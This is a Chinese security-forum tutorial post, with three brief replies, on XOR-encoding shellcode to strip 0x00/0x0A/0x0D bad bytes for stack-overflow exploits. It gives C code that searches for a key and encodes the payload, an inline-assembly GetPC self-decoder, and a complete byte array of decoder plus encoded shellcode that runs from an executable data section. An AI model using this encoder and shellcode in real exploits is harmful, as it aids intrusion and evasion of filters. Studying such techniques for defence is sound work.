首页
论坛
课程
招聘
[原创]ShellCode学习2:实现ShellCode的加密与自解密
2021-6-6 22:04 3583

[原创]ShellCode学习2:实现ShellCode的加密与自解密

2021-6-6 22:04
3583

ShellCode学习2:

ShellCode中级版:

知道了怎么通过自己写一个完整的ShellCode之后,现在我们就要实现一些在我看来比较高级的操作了,首先,在我学习以来,ShellCode被理解成了栈溢出漏洞利用的锋利武器。

 

那么,在进行漏洞利用的同时,很有可能你的ShellCode就会因为00截断而不能正常运行,本次内容讲的就是如何让自己的ShellCode一个(0x00,0x0A,0x0D)也没有!!!

 

当然,你可能会想,我在编写的时候遇到0x00我就想方设法换成没有0x00的代码就行了。答案是:当然不行,在一些固定的参数必须含0的情况下,你这种骚操作无疑让自己秃头秃的更快。

 

在这里,我们就要用到加密解密的操作了,在源代码不能预防的情况下,我们就给它加密。

 

加密的操作有很多,在这里,因为我们仅仅是不想它出现(0x00,0x0A,0x0D),所以就没必要整那么复杂的加密操作了。直接整个异或就ok了

 

直接上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 加密函数
DWORD EnCodeArr(char* arr,int len)
{
    for (int i = 1; i < 0xFF; i++)
    {
        for (int j = 0; j < len; j++)
        {
            char a = arr[j] ^ i;
            if (a == 0x0 || a == 0xA || a == 0xD)
                break;
            else
                if (j == len - 1)
                    return i;
        }
    }
}
int main()
{
    char ShellCode[]={"(这里我就不把ShellCode写上去了,太长了。)"}
    printf("%0x", EnCodeArr(ShellCode,sizeof(ShellCode)));
}

ok,在这里我们就拿到了能够让我们的ShellCode不出现(0x00,0x0A,0x0D)的对称秘钥(我这里生成的是0x1b)。

 

接下来我们要用这个秘钥对ShellCode进行加密,然后将加密后的内容保存至一个新建的txt中。

 

上代码:

1
2
3
4
5
6
7
8
9
// 密钥0x1b
for (int i = 0; i < sizeof(arr); i++)
{
    arr[i] = arr[i] ^ 0x1b;
}
FILE* fp;
fopen_s(&fp, EnCode.txt", "w+");
fwrite(arr, sizeof(arr), 1, fp);
fclose(fp);

到这里,我们加密的ShellCode已经搞定一半了,但是另一半在我看来才是尤为关键的。

 

理所当然,这段加密过的ShellCode想要直接通过

1
2
3
lea eax EnCodeShellCode
push eax
ret

是不可能的,为什么呢,当然是没有对其进行解密操作

 

所以在加密的ShellCode前面,我们还得再加一段用于解密的ShellCode(注:这一段用于解密的ShellCode也不能含有任何0x00,0x0A,0x0D)

 

因此,解密代码的编写尤为重要:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int main()
{
        _asm
        {
            xor eax, eax;
            // GetPC
            call tag_Get_PC - 1;
        tag_Get_PC:
            retn;
            pop eax;
            // Decode
            lea esi, [eax+0x20];// ShellCode字符串的起始地址
            xor ecx, ecx;
            mov cx, 336;//ShellCode大小(字节)
        tag_Decode:
            mov al, [esi + ecx];
            xor al, 0x01b//解密密钥
            mov[esi + ecx], al;
            loop tag_Decode;
            xor [esi + ecx], 0x1b;// 由于循环至最后一个字节,ecx已经为0,所以这里要额外加一个解密操作
            jmp esi;// 解密完成后,再跳转回ShellCode初始位置
        }
    return 0;
}

注:[eax+0x20]是指你的解密代码中的ShellCode距离你的pop eax的偏移(因为你的ShellCode代码是紧跟在你的解密代码的后面的)

 

先对这段解密代码进行生成二进制ShellCode(判断是否有坏字符)

 

图片描述

 

一样的操作进行二进制CShellCode复制(没有0x00,0x0A,0x0D坏字符):

 

图片描述

 

那说明可以使用这段解密ShellCode,接下来进行ShellCode拼接,将解密ShellCode与要解密的ShellCode拼接在一起:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include<Windows.h>
#include<iostream>
// 使数据段可读可写可执行
#pragma comment(linker, "/section:.data,RWE")
// 生成的ShellCode
char arr[] = { "\x55\x8B\xEC\x56\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x20\x33\xC9\x66\xB9\x50\x01"\
                "\x8A\x04\x0E\x34\x1B\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x1B\xFF\xE6\x33\xC0\x5E\x5D\xC3"\    // 解密的ShellCode
                "\x4E\x90\xF7\x98\xFF\xE3\x98\xF7\x07\x4D\xA2\xC0\xE5\xC5\x11\xF3\x77\x1B\x1B\x1B\xA2\x59"\// ShellCode主逻辑代码
                "\x5D\x2C\x10\x90\xEB\xF3\x7B\x1B\x1B\x1B\x96\x57\x3F\x0F\xDC\x5F\x3F\x13\x6E\x68\x7E\x69"\
                "\x4A\x96\x57\x3F\x17\xDC\x5F\x3F\x0B\x28\x29\x35\x7F\x4A\x7D\xDC\x5F\x3F\x03\x77\x77\xDD"\
                "\x5F\x3F\x01\x1B\xDC\x5F\x3F\x07\x56\x7E\x68\x68\xDC\x5F\x3F\x3B\x7A\x7C\x7E\x59\xDC\x5F"\
                "\x3F\x3F\x74\x63\x5A\x1B\xE4\xCB\x4B\xE4\xCD\x71\x1B\x71\x1B\x71\x1B\x71\x1B\xE4\xCB\x28"\
                "\xDB\x45\x90\xFE\x46\xD8\xD7\xD7\xD7\xD7\xD7\xD7\xD7\xD7\xD7\xD7\xD7\xD7\x4E\x90\xF7\x9A"\
                "\xF7\x1F\x1A\x1B\x1B\x48\x4D\x4C\x92\x56\xEF\x28\xDB\x7F\xBA\x2B\x1B\x1B\x1B\x90\x5B\x17"\
                "\x90\x6B\x07\x90\x1D\x90\x1B\x90\x5B\x13\x92\x5E\xE7\x90\x4E\xE7\x96\xA6\x1B\xE4\xE4\xE4"\
                "\xA2\x23\x1B\x1B\x1B\x96\x69\x03\x18\x69\x27\xE8\xBE\x90\x9E\x7B\xE4\xE4\xE4\x90\xE9\x90"\
                "\x57\x2B\x07\x90\x4F\x2B\x3F\x18\xD5\x18\xCD\x92\x56\xFF\x90\x57\x2B\x3B\x90\x5F\x2B\x03"\
                "\x18\xD5\x92\x4E\xF3\x28\xC9\x92\x56\xF7\x92\x4E\xE3\x92\x5E\xEB\x9E\xDB\x6F\x4C\x90\x07"\
                "\x8A\x28\xE4\x91\x17\x28\x18\xC5\x28\xDB\x9F\xD2\x6F\x3B\xA5\x0F\x1B\x1B\x1B\x14\xA5\xCA"\
                "\x90\xD5\xC8\xF9\x55\x91\x57\x03\x1A\x10\xCB\x5B\x18\xE1\x9F\xD2\x6E\xF0\x90\x4E\xE3\x90"\
                "\x6E\xE7\x20\x66\xEF\x6F\x08\x90\x56\xF7\x59\x92\x4E\xE3\x20\x4E\xEB\x69\xA4\x44\x45\x40"\
                "\x90\xFE\x46\xD8\x90\x5E\xF3\x90\x56\xFF\x14\xA4\x1F\x4B\x90\x1F\x9A\x18\xDD\x44\x45\x40"\
                "\x90\xFE\x46\xD8\x1B" };
int main()
{
    _asm {
        lea eax,arr
        push eax
        jmp eax
    }
}

对其进行调试再次解释一下[eax+20]为什么是加密ShellCode的首地址:
图片描述 图片描述

 

ok,ShellCode编写完毕,试一试能否运行:

 

图片描述


第五届安全开发者峰会(SDC 2021)议题征集正式开启!

收藏
点赞4
打赏
分享
最新回复 (3)
雪    币: 1622
活跃值: 活跃值 (582)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dearfuture 活跃值 2021-6-7 09:45
2
0
看起来就是循环试探密钥,找到一个异或后刚好不会出现(0x00,0x0A,0x0D)的密钥
雪    币: 7436
活跃值: 活跃值 (6340)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2 2021-6-7 10:14
3
0
感谢分享
雪    币: 38
活跃值: 活跃值 (265)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
zhenwo 活跃值 1 2021-6-16 14:14
4
0
游客
登录 | 注册 方可回帖
返回